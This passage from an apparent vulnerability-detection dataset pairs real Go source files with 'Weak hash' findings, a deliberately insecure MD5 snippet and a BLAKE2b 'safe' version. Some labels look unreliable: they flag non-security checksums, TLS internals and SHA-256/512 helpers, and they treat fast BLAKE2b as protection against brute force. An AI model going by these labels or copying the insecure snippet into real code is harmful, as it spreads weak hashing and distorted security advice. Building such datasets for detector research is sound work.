\".\")\n\ttarCmd.Stdout = os.Stdout\n\ttarCmd.Stderr = os.Stderr\n\terr = tarCmd.Run()\n\tif err != nil {\n\t\tlog.Error(\"tar\", \"Error\", err)\n\t\treturn\n\t}\n\n\tsuccess = true\n\treturn\n}\n\nfunc buildContainer(log log15.Logger, container *conf.Container) (success bool) {\n\n\tlog = log.New(\"ImageTag\", container.Name)\n\n\timagePath := fmt.Sprintf(\"%s/%s.docker\", constants.PayloadWorkingDir, container.Name)\n\n\t_, err := os.Stat(container.Dockerfile)\n\tif err != nil {\n\t\tlog.Error(\"Dockerfile stat\", \"Error\", err)\n\t\treturn\n\t}\n\n\thaveBuilder := true\n\t_, err = os.Stat(container.DockerfileBuild)\n\tif err != nil {\n\t\thaveBuilder = false\n\t}\n\n\tif haveBuilder {\n\t\tvar err error\n\t\tvar file *os.File\n\n\t\tfile, err = os.Open(container.DockerfileBuild)\n\t\tif err != nil {\n\t\t\tlog.Error(\"os.Open\", \"path\", container.DockerfileBuild, \"Error\", err)\n\t\t\treturn\n\t\t}\n\t\tdefer file.Close()\n\n\t\tbuilderBuildArgs := make([]string, 0)\n\n\t\tscanner := bufio.NewScanner(file)\n\t\tfor scanner.Scan() {\n\t\t\tmatch := buildArgRe.FindAllStringSubmatch(scanner.Text(), -1)\n\t\t\tif len(match) == 1 && len(match[0]) == 2 {\n\t\t\t\tlog.Info(\"found build arg\", \"ARG\", match[0][1])\n\t\t\t\tbuilderBuildArgs = append(builderBuildArgs, match[0][1])\n\t\t\t}\n\t\t}\n\t\tif err = scanner.Err(); err != nil {\n\t\t\tlog.Error(\"scanner\", \"Error\", err)\n\t\t\treturn\n\t\t}\n\n\t\tbuilderContainerName := container.Name + \"-builder\"\n\n\t\tbuildBuilderCmdArgs := []string{\n\t\t\t\"build\",\n\t\t\t\"-t\", builderContainerName,\n\t\t\t\"-f\", container.DockerfileBuild,\n\t\t}\n\t\tfor _, arg := range builderBuildArgs {\n\t\t\tif value, exists := os.LookupEnv(arg); exists {\n\t\t\t\tbuildBuilderCmdArgs = append(buildBuilderCmdArgs, \"--build-arg\", arg+\"=\"+value)\n\t\t\t} else if container.ValidateBuildArgsExist == nil || *container.ValidateBuildArgsExist == true {\n\t\t\t\tlog.Error(\"build arg \" + arg + \" missing from environment\")\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t\tbuildBuilderCmdArgs = append(buildBuilderCmdArgs, \".\")\n\t\tlog.Debug(\"docker build\", \"Args\", buildBuilderCmdArgs[1:])\n\n\t\tdefer exec.Command(\"docker\", \"rmi\", \"-f\", builderContainerName).Run()\n\n\t\tbuildBuilderCmd := exec.Command(\"docker\", buildBuilderCmdArgs...)\n\t\tbuildBuilderCmd.Stdout = os.Stdout\n\t\tbuildBuilderCmd.Stderr = os.Stderr\n\t\terr = buildBuilderCmd.Run()\n\t\tif err != nil {\n\t\t\tlog.Error(\"build Dockerfile.build\", \"Error\", err)\n\t\t\treturn\n\t\t}\n\n\t\trunCmd := exec.Command(\"docker\", \"run\", \"--rm\", builderContainerName)\n\n\t\trunCmdStdoutPipe, err := runCmd.StdoutPipe()\n\t\tif err != nil {\n\t\t\tlog.Error(\"couldn't create StdoutPipe\", \"Error\", err)\n\t\t\treturn\n\t\t}\n\n\t\tbuildCmd := exec.Command(\"docker\", \"build\",\n\t\t\t\"-t\", container.Name,\n\t\t\t\"-f\", container.Dockerfile,\n\t\t\t\"-\")\n\t\tbuildCmd.Stdin = runCmdStdoutPipe\n\t\tbuildCmd.Stdout = os.Stdout\n\t\tbuildCmd.Stderr = os.Stderr\n\n\t\terr = runCmd.Start()\n\t\tif err != nil {\n\t\t\tlog.Error(\"docker run\", \"Error\", err)\n\t\t\treturn\n\t\t}\n\n\t\terr = buildCmd.Start()\n\t\tif err != nil {\n\t\t\tlog.Error(\"docker build\", \"Error\", err)\n\t\t\treturn\n\t\t}\n\n\t\trunCmd.Wait()\n\t\tbuildCmd.Wait()\n\t} else {\n\t\tbuildCmd := exec.Command(\"docker\", \"build\",\n\t\t\t\"-t\", container.Name,\n\t\t\t\"-f\", container.Dockerfile,\n\t\t\t\".\")\n\t\tbuildCmd.Stdout = os.Stdout\n\t\tbuildCmd.Stderr = os.Stderr\n\t\terr := buildCmd.Run()\n\t\tif err != nil {\n\t\t\tlog.Error(\"build Dockerfile\", \"Error\", err)\n\t\t\treturn\n\t\t}\n\t}\n\n\tdockerRegistry := os.Getenv(constants.EnvDockerRegistry)\n\n\tif dockerRegistry == \"\" {\n\t\tlog.Info(\"saving docker image to \" + imagePath)\n\n\t\texec.Command(\"mkdir\", \"-p\", path.Dir(imagePath)).Run()\n\n\t\t// concurrent docker saves give this\n\t\t// Error response from daemon: open /var/lib/docker/devicemapper/mnt/0faf0a543943f7c709a018aacb339edbd85e307fd59d2a0f873af93ef25bf243/rootfs/etc/ssl/certs/ca-certificates.crt: no such file or directory\n\t\tdockerSaveLock.Lock()\n\t\tdefer dockerSaveLock.Unlock()\n\n\t\tsaveCmd := exec.Command(\"docker\", \"save\", \"-o\", imagePath, container.Name)\n\t\tsaveCmd.Stdout = os.Stdout\n\t\tsaveCmd.Stderr = os.Stderr\n\t\terr = saveCmd.Run()\n\t\tif err != nil {\n\t\t\tlog.Error(\"docker save\", \"Error\", err)\n\t\t\treturn\n\t\t}\n\n\t} else {\n\n\t\tlog.Info(\"docker push\")\n\n\t\tpushCmd := exec.Command(\"docker\", \"push\", container.Name)\n\t\tpushCmd.Stdout = os.Stdout\n\t\tpushCmd.Stderr = os.Stderr\n\t\terr := pushCmd.Run()\n\t\tif err != nil {\n\t\t\tlog.Error(\"docker push\", \"Error\", err)\n\t\t\treturn\n\t\t}\n\t}\n\n\tsuccess = true\n\treturn\n}\n\n// Ensure the files that are specified with paths in the config are part of the\n// temp directory which is passed between the pack and provision stages in GoCD.\n// If we fetched materials in every stage then the referenced files would always\n// be there, and this function wouldn't be strictly necessary.\nfunc copyPathBasedFiles(log log15.Logger, config *conf.Config) bool {\n\tfor _, environment := range config.Environments {\n\t\tif digest, success := digestAndCopy(log, environment.StackDefinitionPath); success {\n\t\t\tenvironment.StackDefinitionPath = digest\n\t\t} else {\n\t\t\treturn false\n\t\t}\n\n\t\tfor _, region := range environment.Regions {\n\t\t\tif digest, success := digestAndCopy(log, region.StackDefinitionPath); success {\n\t\t\t\tregion.StackDefinitionPath = digest\n\t\t\t} else {\n\t\t\t\treturn false\n\t\t\t}\n\t\t}\n\t}\n\n\treturn true\n}\n\nfunc digestAndCopy(log log15.Logger, filePath string) (string, bool) {\n\tif filePath == \"\" {\n\t\treturn \"\", true\n\t}\n\n\tlog = log.New(\"Filepath\", filePath)\n\n\tfileBytes, err := ioutil.ReadFile(filePath)\n\tif err != nil {\n\t\tlog.Error(\"ioutil.ReadFile\", \"Error\", err)\n\t\treturn \"\", false\n\t}\n\tdigestArray := md5.Sum(fileBytes)\n\tdigest := hex.EncodeToString(digestArray[:])\n\n\tnewFilePath := constants.TempDir + \"/\" + digest\n\terr = ioutil.WriteFile(newFilePath, fileBytes, 0644)\n\tif err != nil {\n\t\tlog.Error(\"ioutil.ReadFile\", \"Error\", err)\n\t\treturn \"\", false\n\t}\n\n\treturn newFilePath, true\n}\n\nfunc haproxyAuth(log log15.Logger, config *conf.Config) (success bool) {\n\tbytesToRead := 16\n\n\tbuf := make([]byte, bytesToRead)\n\tn, err := rand.Read(buf)\n\tif err != nil {\n\t\tlog.Error(\"rand.Read\", \"Error\", err)\n\t\treturn\n\t}\n\tif n != bytesToRead {\n\t\tlog.Error(\"rand.Read didn't read enough bytes\")\n\t\treturn\n\t}\n\tconfig.HAProxyStatsUsername = hex.EncodeToString(buf)\n\n\tbuf = make([]byte, bytesToRead)\n\tn, err = rand.Read(buf)\n\tif err != nil {\n\t\tlog.Error(\"rand.Read\", \"Error\", err)\n\t\treturn\n\t}\n\tif n != bytesToRead {\n\t\tlog.Error(\"rand.Read didn't read enough bytes\")\n\t\treturn\n\t}\n\tconfig.HAProxyStatsPassword = hex.EncodeToString(buf)\n\n\tsuccess = true\n\treturn\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 16, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "a5d5de86557f06f5561a0e1ee723ef5cda183f8ac9219eb5b003824ecc838be3", "license": {"spdx": ["Apache-2.0"], "repo": "harveywangdao/earth", "path": "elegant/http/client.go", "repo_head_hexsha": "665660120a00834f0963ad9163bf4f6a97d11c35", "stack_hexsha": "de1a7570635b3e66bdad82a267c03addbeaad4a7", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 5, "entireCode": "package main\n\nimport (\n\t\"bytes\"\n\t\"crypto/md5\"\n\t\"encoding/base64\"\n\t\"fmt\"\n\t\"io\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"mime/multipart\"\n\t\"net/http\"\n\t\"os\"\n)\n\nfunc main() {\n\tbodyBuffer := &bytes.Buffer{}\n\tbodyWriter := multipart.NewWriter(bodyBuffer)\n\n\tfileWriter, _ := bodyWriter.CreateFormFile(\"files\", \"file1.txt\")\n\tfile, _ := os.Open(\"file1.txt\")\n\tdefer file.Close()\n\tio.Copy(fileWriter, file)\n\n\tcontentType := bodyWriter.FormDataContentType()\n\tbodyWriter.Close()\n\n\treq, err := http.NewRequest(http.MethodPost, \"http://localhost:7845/upload/saaa/1.png\", bodyBuffer)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t\treturn\n\t}\n\treq.Header.Set(\"Content-Type\", contentType)\n\n\tfile.Seek(0, os.SEEK_SET)\n\tdata, err := ioutil.ReadAll(file)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t\treturn\n\t}\n\n\tfmt.Println(string(data))\n\n\tmd5Data := md5.Sum(data)\n\treq.Header.Set(\"file-md5\", base64.StdEncoding.EncodeToString(md5Data[:]))\n\n\tresp, err := http.DefaultClient.Do(req)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t\treturn\n\t}\n\tdefer resp.Body.Close()\n\n\tresp_body, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t\treturn\n\t}\n\n\tlog.Println(resp.Status)\n\tlog.Println(string(resp_body))\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 5, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "589083c647e62974e8b48cd448e56e4fc0fa53342053742c13b9ab4366a0e0a3", "license": {"spdx": ["MIT"], "repo": "aodin/volta", "path": "auth/users.go", "repo_head_hexsha": "0bc05a23951252dac7d6acfd5041223f0bac8e8c", "stack_hexsha": "04cd83b88608c76522c902425bc1a0bbea5e2ffd", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 4, "entireCode": "package auth\n\nimport (\n\t\"crypto/sha1\"\n\t\"fmt\"\n\t\"log\"\n\t\"time\"\n\n\t\"github.com/aodin/sol\"\n\t\"github.com/aodin/sol/postgres\"\n\t\"github.com/aodin/sol/types\"\n)\n\n// User is a database-backed user.\ntype User struct {\n\tID int64 `db:\"id,omitempty\"`\n\tEmail string `db:\"email\"`\n\tFirstName string `db:\"first_name\"`\n\tLastName string `db:\"last_name\"`\n\tAbout string `db:\"about\"`\n\tPhoto string `db:\"photo\"`\n\tIsActive bool `db:\"is_active\"`\n\tIsSuperuser bool `db:\"is_superuser\"`\n\tPassword string `db:\"password\"`\n\tToken string `db:\"token\"`\n\tTokenSetAt time.Time `db:\"token_set_at,omitempty\"`\n\tCreatedAt time.Time `db:\"created_at,omitempty\"`\n\tmanager *UserManager `db:\"-\"`\n}\n\n// Delete removes the user with the given ID from the database.\n// It will return an error if the user does not have an ID or the ID\n// was not deleted from the database. It will panic on any connection error.\nfunc (user User) Delete() error {\n\tif !user.Exists() {\n\t\treturn fmt.Errorf(\"auth: users without IDs cannot be deleted\")\n\t}\n\treturn user.manager.Delete(user.ID)\n}\n\n// Exists returns true if the user has an assigned ID\nfunc (user User) Exists() bool {\n\treturn user.ID != 0\n}\n\n// Name returns the concatenated first and last name\nfunc (user User) Name() string {\n\treturn fmt.Sprintf(\"%s %s\", user.FirstName, user.LastName)\n}\n\n// String returns the user id and email\nfunc (user User) String() string {\n\treturn fmt.Sprintf(\"%d: %s\", user.ID, user.Email)\n}\n\n// Users is the postgres schema for users\nvar Users = postgres.Table(\"users\",\n\tsol.Column(\"id\", postgres.Serial()),\n\tsol.Column(\"email\", types.Varchar().Limit(256).NotNull()),\n\tsol.Column(\"first_name\", types.Varchar().Limit(64).NotNull()),\n\tsol.Column(\"last_name\", types.Varchar().Limit(64).NotNull()),\n\tsol.Column(\"about\", types.Varchar().Limit(512).NotNull()),\n\tsol.Column(\"photo\", types.Varchar().Limit(512).NotNull()),\n\tsol.Column(\"is_active\", types.Boolean().NotNull().Default(true)),\n\tsol.Column(\"is_superuser\", types.Boolean().NotNull().Default(false)),\n\tsol.Column(\"password\", types.Varchar().Limit(256).NotNull()),\n\tsol.Column(\"token\", types.Varchar().Limit(256).NotNull()),\n\tsol.Column(\n\t\t\"token_set_at\",\n\t\tpostgres.Timestamp().WithTimezone().NotNull().Default(postgres.Now),\n\t),\n\tsol.Column(\n\t\t\"created_at\",\n\t\tpostgres.Timestamp().WithTimezone().NotNull().Default(postgres.Now),\n\t),\n\tsol.PrimaryKey(\"id\"),\n\tsol.Unique(\"email\"),\n)\n\n// UserManager is the internal manager of users\ntype UserManager struct {\n\tconn sol.Conn\n\thash Hasher\n\ttokenFunc KeyFunc\n}\n\n// Create will create a new user with given email and cleartext password.\n// It will panic on any crypto or database connection errors.\nfunc (m *UserManager) Create(email, first, last, clear string) (User, error) {\n\treturn m.create(email, first, last, clear, false)\n}\n\n// CreateSuperuser will create a new superuser with given email and cleartext password.\n// It will panic on any crypto or database connection errors.\nfunc (m *UserManager) CreateSuperuser(email, first, last, clear string) (User, error) {\n\treturn m.create(email, first, last, clear, true)\n}\n\nfunc (m *UserManager) create(email, first, last, clear string, isAdmin bool) (User, error) {\n\tuser := User{\n\t\tEmail: email,\n\t\tFirstName: first,\n\t\tLastName: last,\n\t\tIsActive: true,\n\t\tIsSuperuser: isAdmin,\n\t\tPassword: MakePassword(m.hash, clear),\n\t\tToken: m.tokenFunc(),\n\t\tTokenSetAt: time.Now(),\n\t\tmanager: m,\n\t}\n\terr := m.createUser(&user)\n\treturn user, err\n}\n\n// createUser checks for a duplicate email before inserting the user.\n// Email must already be normalized.\nfunc (m *UserManager) createUser(user *User) error {\n\temail := sol.Select(\n\t\tUsers.C(\"email\"),\n\t).Where(Users.C(\"email\").Equals(user.Email)).Limit(1)\n\n\tvar duplicate string\n\tm.conn.Query(email, &duplicate)\n\tif duplicate != \"\" {\n\t\treturn fmt.Errorf(\n\t\t\t\"auth: user with email %s already exists\", duplicate,\n\t\t)\n\t}\n\n\t// Insert the new user\n\tm.conn.Query(postgres.Insert(Users).Values(user).Returning(), user)\n\treturn nil\n}\n\n// Delete removes the user with the given ID from the database.\n// It will return an error if the ID was not deleted from the database.\n// It will panic on any connection error.\nfunc (m *UserManager) Delete(id int64) error {\n\tstmt := Users.Delete().Where(Users.C(\"id\").Equals(id))\n\treturn m.conn.Query(stmt)\n}\n\n// GetByEmail returns the user with the given email.\nfunc (m *UserManager) GetByEmail(email string) (user User, err error) {\n\tstmt := Users.Select().Where(Users.C(\"email\").Equals(email))\n\tif err = m.conn.Query(stmt, &user); err != nil {\n\t\treturn\n\t}\n\tif !user.Exists() {\n\t\terr = fmt.Errorf(\"auth: no user with email %s exists\", email)\n\t}\n\treturn\n}\n\n// GetByID returns the user with the given id.\nfunc (m *UserManager) GetByID(id int64) (user User, err error) {\n\tstmt := Users.Select().Where(Users.C(\"id\").Equals(id))\n\tif err = m.conn.Query(stmt, &user); err != nil {\n\t\treturn\n\t}\n\tif !user.Exists() {\n\t\terr = fmt.Errorf(\"auth: no user with id %d exists\", id)\n\t}\n\treturn\n}\n\n// Hasher returns the hasher used by the UserManager\nfunc (m UserManager) Hasher() Hasher {\n\treturn m.hash\n}\n\nfunc NewUsers(conn sol.Conn) *UserManager {\n\thasher, err := GetHasher(\"pbkdf2_sha256\")\n\tif err != nil {\n\t\tlog.Panicf(\"auth: could not get pbkdf2_sha256 hasher: %s\", err)\n\t}\n\treturn newUsers(conn, hasher)\n}\n\nfunc MockUsers(conn sol.Conn) *UserManager {\n\treturn newUsers(conn, MockHasher(\"mock\", 1, sha1.New))\n}\n\nfunc newUsers(conn sol.Conn, hash Hasher) *UserManager {\n\treturn &UserManager{\n\t\tconn: conn,\n\t\thash: hash,\n\t\ttokenFunc: RandomKey,\n\t}\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 4, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "5343c052ea52594f7344b9a2b7b8b1d7a598660b42779ee73ae4aa80574c2d31", "license": {"spdx": ["Apache-2.0"], "repo": "warango4/apps-cli-plugin", "path": "vendor/github.com/vmware-tanzu/carvel-ytt/pkg/yttlibrary/md5.go", "repo_head_hexsha": "6fed8a5f4a7ed7b28ad70b53ec500e83f2c06980", "stack_hexsha": "ca76c6f3eb22de779e59c085802c3adcbe1d8fd4", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 7, "entireCode": "// Copyright 2020 VMware, Inc.\n// SPDX-License-Identifier: Apache-2.0\n\npackage yttlibrary\n\nimport (\n\t\"crypto/md5\"\n\t\"fmt\"\n\n\t\"github.com/k14s/starlark-go/starlark\"\n\t\"github.com/k14s/starlark-go/starlarkstruct\"\n\t\"github.com/vmware-tanzu/carvel-ytt/pkg/template/core\"\n)\n\nvar (\n\tMD5API = starlark.StringDict{\n\t\t\"md5\": &starlarkstruct.Module{\n\t\t\tName: \"md5\",\n\t\t\tMembers: starlark.StringDict{\n\t\t\t\t\"sum\": starlark.NewBuiltin(\"md5.sum\", core.ErrWrapper(md5Module{}.Sum)),\n\t\t\t},\n\t\t},\n\t}\n)\n\ntype md5Module struct{}\n\nfunc (b md5Module) Sum(thread *starlark.Thread, f *starlark.Builtin, args starlark.Tuple, kwargs []starlark.Tuple) (starlark.Value, error) {\n\tif args.Len() != 1 {\n\t\treturn starlark.None, fmt.Errorf(\"expected exactly one argument\")\n\t}\n\n\tval, err := core.NewStarlarkValue(args.Index(0)).AsString()\n\tif err != nil {\n\t\treturn starlark.None, err\n\t}\n\n\treturn starlark.String(fmt.Sprintf(\"%x\", md5.Sum([]byte(val)))), nil\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 7, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "f85a72c6603c2809d861cd67cd09f90eb78722dc6d1393c8ba648da7ad483216", "license": {"spdx": ["Apache-2.0"], "repo": "wuchunfu/lakego-admin", "path": "pkg/lakego-pkg/go-hash/hash/sha.go", "repo_head_hexsha": "84dfdd3d6968737db40f7c37c5c916d0e427a207", "stack_hexsha": "5c01baf832f68e7630eaed2439b42475315794ee", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 4, "entireCode": "package hash\n\nimport (\n \"crypto/sha1\"\n \"crypto/sha256\"\n \"crypto/sha512\"\n \"encoding/hex\"\n)\n\n// SHA1 哈希值\nfunc SHA1(s string) string {\n sum := sha1.Sum([]byte(s))\n return hex.EncodeToString(sum[:])\n}\n\n// SHA1 哈希值\nfunc (this Hash) SHA1() Hash {\n return this.UseHash(sha1.New)\n}\n\n// SHA224 哈希值\nfunc SHA224(s string) string {\n sum := sha256.Sum224([]byte(s))\n return hex.EncodeToString(sum[:])\n}\n\n// SHA224 哈希值\nfunc (this Hash) SHA224() Hash {\n return this.UseHash(sha256.New224)\n}\n\n// SHA256 哈希值\nfunc SHA256(s string) string {\n sum := sha256.Sum256([]byte(s))\n return hex.EncodeToString(sum[:])\n}\n\n// SHA256 哈希值\nfunc (this Hash) SHA256() Hash {\n return this.UseHash(sha256.New)\n}\n\n// SHA384 哈希值\nfunc SHA384(s string) string {\n sum := sha512.Sum384([]byte(s))\n return hex.EncodeToString(sum[:])\n}\n\n// SHA384 哈希值\nfunc (this Hash) SHA384() Hash {\n return this.UseHash(sha512.New384)\n}\n\n// SHA512 哈希值\nfunc SHA512(s string) string {\n sum := sha512.Sum512([]byte(s))\n return hex.EncodeToString(sum[:])\n}\n\n// SHA512 哈希值\nfunc (this Hash) SHA512() Hash {\n return this.UseHash(sha512.New)\n}\n\n// SHA512_224 哈希值\nfunc SHA512_224(s string) string {\n sum := sha512.Sum512_224([]byte(s))\n return hex.EncodeToString(sum[:])\n}\n\n// SHA512_224 哈希值\nfunc (this Hash) SHA512_224() Hash {\n return this.UseHash(sha512.New512_224)\n}\n\n// SHA512_256 哈希值\nfunc SHA512_256(s string) string {\n sum := sha512.Sum512_256([]byte(s))\n return hex.EncodeToString(sum[:])\n}\n\n// SHA512_256 哈希值\nfunc (this Hash) SHA512_256() Hash {\n return this.UseHash(sha512.New512_256)\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 4, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "8e28acf678b83201ae5d2184e20b81012cd9ef4089b0c9ba88047bc321cfed43", "license": {"spdx": ["Apache-2.0"], "repo": "ilujiez/bfe", "path": "bfe_tls/handshake_server.go", "repo_head_hexsha": "e8248456d437aab86e261a931af65ce25a538b1c", "stack_hexsha": "4118c448997349bfa5ddf6042928116b2b9633b6", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 24, "entireCode": "// Copyright (c) 2019 The BFE Authors.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n// Copyright 2009 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license that can be found in the LICENSE file.\n\npackage bfe_tls\n\nimport (\n\t\"crypto\"\n\t\"crypto/ecdsa\"\n\t\"crypto/md5\"\n\t\"crypto/rsa\"\n\t\"crypto/subtle\"\n\t\"crypto/x509\"\n\t\"encoding/asn1\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io\"\n\t\"strings\"\n\t\"time\"\n)\n\n// serverHandshakeState contains details of a server handshake in progress.\n// It's discarded once the handshake has completed.\ntype serverHandshakeState struct {\n\tc *Conn\n\tclientHello *clientHelloMsg\n\thello *serverHelloMsg\n\tsuite *cipherSuite\n\tellipticOk bool\n\tecdsaOk bool\n\tchachaOk bool\n\tsessionTicketOK bool\n\tuseRC4 uint8\n\tsessionState *sessionState\n\tfinishedHash finishedHash\n\tmasterSecret []byte\n\tcertsFromClient [][]byte\n\tcert *Certificate\n}\n\n// serverHandshake performs a TLS handshake as a server.\nfunc (c *Conn) serverHandshake() error {\n\thandshakeStart := time.Now()\n\tconfig := c.config\n\n\t// If this is the first 